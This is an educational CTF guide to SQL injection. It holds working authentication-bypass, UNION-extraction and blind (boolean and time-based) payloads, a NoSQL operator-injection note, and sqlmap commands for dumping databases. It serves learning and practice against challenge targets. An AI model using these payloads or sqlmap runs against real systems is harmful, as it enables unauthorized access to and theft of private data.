SQL Injection for CTF: From Authentication Bypass to Data Extraction

Introduction

One quote character in the right box can hand you an entire database. SQL injection (SQLi) is one of the most consistently tested vulnerability categories in CTF web exploitation challenges, and it keeps appearing because so many real applications still build SQL queries by concatenating raw user input directly into query strings.

This is not a museum piece. In the October 2015 TalkTalk breach the UK Information Commissioner's Office found that attackers reached the personal data of 156,959 customers, including bank account number and sort code for 15,656 of them, through SQL injection against three legacy web pages inherited in an acquisition. The ICO issued a £400,000 monetary penalty, the largest it had ever levied at that point, and noted the vulnerable software had a fix available since 2012 that TalkTalk never applied.

The pattern is still shipping. CVE-2024-1071 is an unauthenticated SQL injection in the Ultimate Member WordPress plugin, scored CVSS 9.8 (Critical) by NVD and affecting versions 2.1.3 through 2.8.2 on a plugin with over 200,000 active installations. Structurally it is the same bug as the login form in your first picoCTF web challenge.

The category has not moved much either. Injection sits at A03 in the OWASP Top 10 2021, down from first place in 2017 but still with 274,000 occurrences across the 33 mapped CWEs and a maximum incidence rate of 19% of tested applications. MITRE ranked CWE-89, the specific weakness class for SQL injection, third on its 2024 Top 25 Most Dangerous Software Weaknesses. The same string concatenation that leaks a CTF flag leaks production customer tables.

In picoCTF, SQL injection challenges range from single-field authentication bypasses all the way to multi-step blind extraction and automated scanning with sqlmap. This guide walks through each technique in order of complexity, with direct links to the picoCTF writeups where each one appears.

Authentication bypass

The classic entry point. The backend constructs a query like:

SELECT * FROM users WHERE username='INPUT' AND password='PASS'

Injecting ' OR 1=1-- - into the username field transforms this into a query that always returns true, bypassing the password check entirely:

SELECT * FROM users WHERE username='' OR 1=1-- -' AND password='anything'
                                    ^^^^^^^^^
                                    always true; rest is a comment

The -- - sequence starts a SQL comment, so everything after it (including the password check) is ignored. The trailing dash is not decoration. MySQL documents three comment forms, and for the -- form it requires that the two dashes be followed by at least one whitespace or control character, specifically so that expressions like 5--2 still evaluate as arithmetic. Appending a dash guarantees that separator survives whitespace-trimming middleware. Common comment styles vary by database:

-- -     MySQL, SQLite, PostgreSQL
#        MySQL only

Stick to -- - and # for auth bypass. A bare /* is not a reliable comment: it opens a block comment that most engines expect you to close with */, and left unterminated it is a syntax error on everything except MySQL. It does not swallow the trailing clause the way -- - or # do.

Common payloads to try when you suspect a login bypass:

' OR 1=1-- -
' OR '1'='1
admin'-- -
' OR 1=1#

ROT13-encoded input (Irish-Name-Repo 2)

Some challenges add a twist: the backend ROT13-encodes your input before inserting it into the query. You need to ROT13-encode your payload first so the decoded version contains the actual injection syntax.

# Payload:   ' OR 1=1-- -
# ROT13:     ' BE 1=1-- -
 
python3 -c "import codecs; print(codecs.encode(\"' OR 1=1-- -\", 'rot13'))"

See the Irish-Name-Repo 2 writeup for the exact flow, and Irish-Name-Repo 3 where the encoding layer is buried deeper.

UNION-based extraction

Once you can inject, the next goal is extracting data from the database. UNION-based injection appends a second SELECT statement whose output is returned alongside the legitimate query result.

The catch: both SELECT statements must return the same number of columns. To find the column count, increment the ORDER BY value until the query errors:

The upper bound is generous. MySQL enforces a hard limit of 4,096 columns per table (and a practical row-size limit of 65,535 bytes), so binary-searching the column count is never more than about 12 requests even against a schema you know nothing about.

' ORDER BY 1-- -   # works
' ORDER BY 2-- -   # works
' ORDER BY 3-- -   # error -> 2 columns

With the column count known, build the UNION payload. Use NULL for columns you do not care about, and place your extraction target in a column that renders as text. The metadata you are about to read is standardised: INFORMATION_SCHEMA comes from the SQL standard, and MySQL 8.0 ships more than 60 INFORMATION_SCHEMA tables describing every database, table, column, and privilege the current user can see. PostgreSQL and SQL Server expose the same views; SQLite is the odd one out and uses sqlite_master instead, which is why information_schema payloads silently fail on SQLite targets.

# Extract the database name (2-column table)
' UNION SELECT database(), NULL-- -
 
# List all tables in the current database
' UNION SELECT table_name, NULL FROM information_schema.tables
  WHERE table_schema=database()-- -
 
# Dump a specific column
' UNION SELECT flag, NULL FROM flags-- -

More SQLi (2023) - three-stage extraction

The More SQLi challenge walks through a full extraction sequence: discover the column count, enumerate table names from information_schema, then pull the flag column from the target table. It is the best picoCTF example of chained UNION injection.

Blind SQLi

Blind SQL injection applies when query results are not echoed back to the page. Instead, you infer information from binary signals: whether a record is found (boolean-based) or how long the response takes (time-based).

Boolean-based

Ask the database yes/no questions by making the injected condition true or false and observing whether the page renders differently:

# Is the first character of the flag 'p'?
' AND SUBSTRING(flag,1,1)='p'-- -
 
# Is the flag longer than 30 characters?
' AND LENGTH(flag)>30-- -

Time-based

When there is no visible difference in the response body, cause a deliberate delay if your condition is true:

# MySQL: sleep 3 seconds if condition is true
' AND IF(SUBSTRING(flag,1,1)='p', SLEEP(3), 0)-- -
 
# SQLite: heavy query as delay (no SLEEP)
' AND CASE WHEN SUBSTR(flag,1,1)='p' THEN LIKE('X%',UPPER(HEX(RANDOMBLOB(100000000)))) END-- -

The SQLite payload looks bizarre for a reason: SQLite's built-in scalar function list contains no SLEEP, so you manufacture delay by forcing work. randomblob(100000000) asks for a 100 MB blob of random bytes and hex-encodes it, which reliably costs seconds. PostgreSQL has the honest version, pg_sleep(seconds), and Microsoft SQL Server uses WAITFOR DELAY.

Budget your requests before you start. Extracting a 40-character flag one character at a time over a 95-character printable alphabet costs about 3,800 requests with a linear scan, or roughly 280 if you binary-search each character with a > comparison instead of testing equality. On a time-based oracle with a 3-second delay that is the difference between three hours and fifteen minutes. This is where sqlmap (next section) becomes essential.

NoSQL injection

Not every web challenge uses a relational database. Document stores like MongoDB are not vulnerable to SQL syntax at all; you bypass them by injecting query operators (for example a {"$ne": null} object where the app expected a plain password string) rather than escaping a quote. MongoDB's query language documents around 20 comparison and logical query operators, and the useful ones for a bypass are a handful: $ne, $gt, $regex, $in, and $where. Any framework that parses a request body straight into a query document (Express with extended query parsing is the classic) hands you those operators for free.

That is a different instinct with its own payloads, tooling, and blind-extraction tricks, so it has a dedicated guide: NoSQL Injection for CTF, which also walks the No Sql Injection picoCTF challenge end to end.

sqlmap automation

sqlmap is an open-source tool that automates the detection and exploitation of SQL injection vulnerabilities. Rather than crafting payloads by hand, you point it at a URL or request file and it handles enumeration, extraction, and reporting automatically. Its own documentation lists six injection techniques it implements (boolean-based blind, error-based, inline query, stacked queries, time-based blind, and UNION query) across more than 35 supported database backends, which is why it finds surfaces that hand-testing a single quote misses.

What follows is the short version, enough to finish a challenge you have already found an injection in. The long version, including what to do when sqlmap insists a parameter is not injectable and you know better, is in sqlmap for CTF.

Install

sudo apt install sqlmap

Basic scan

# Test a URL parameter for SQLi
sqlmap -u 'http://target/search?q=test'
 
# Test POST data
sqlmap -u 'http://target/login' --data='username=test&password=test'
 
# Use a saved Burp request file
sqlmap -r request.txt

Extraction flags

--dbs              # list all databases
--tables           # list tables in current database
--dump             # dump all table contents
-D mydb -T users --dump  # dump specific table
--level=5 --risk=3       # more aggressive testing

Quick reference

Sources and further reading

Every figure above comes from one of these. Standards and vendor manuals first, because the parser behaviour you are abusing is documented behaviour.

• OWASP Top 10 2021, A03: Injection (incidence rates and CWE mapping) and MITRE CWE-89.
• MySQL 8.0 Reference Manual: comment syntax, INFORMATION_SCHEMA, and the column-count limit.
• SQLite: built-in scalar functions (note the absence of SLEEP) and the sqlite_master schema table. PostgreSQL: pg_sleep. MongoDB: query operator reference.
• Real-world incidents: ICO penalty notice for TalkTalk (2016) and NVD entry for CVE-2024-1071.
• Tooling: sqlmap source and its usage wiki (technique list, --level and --risk semantics).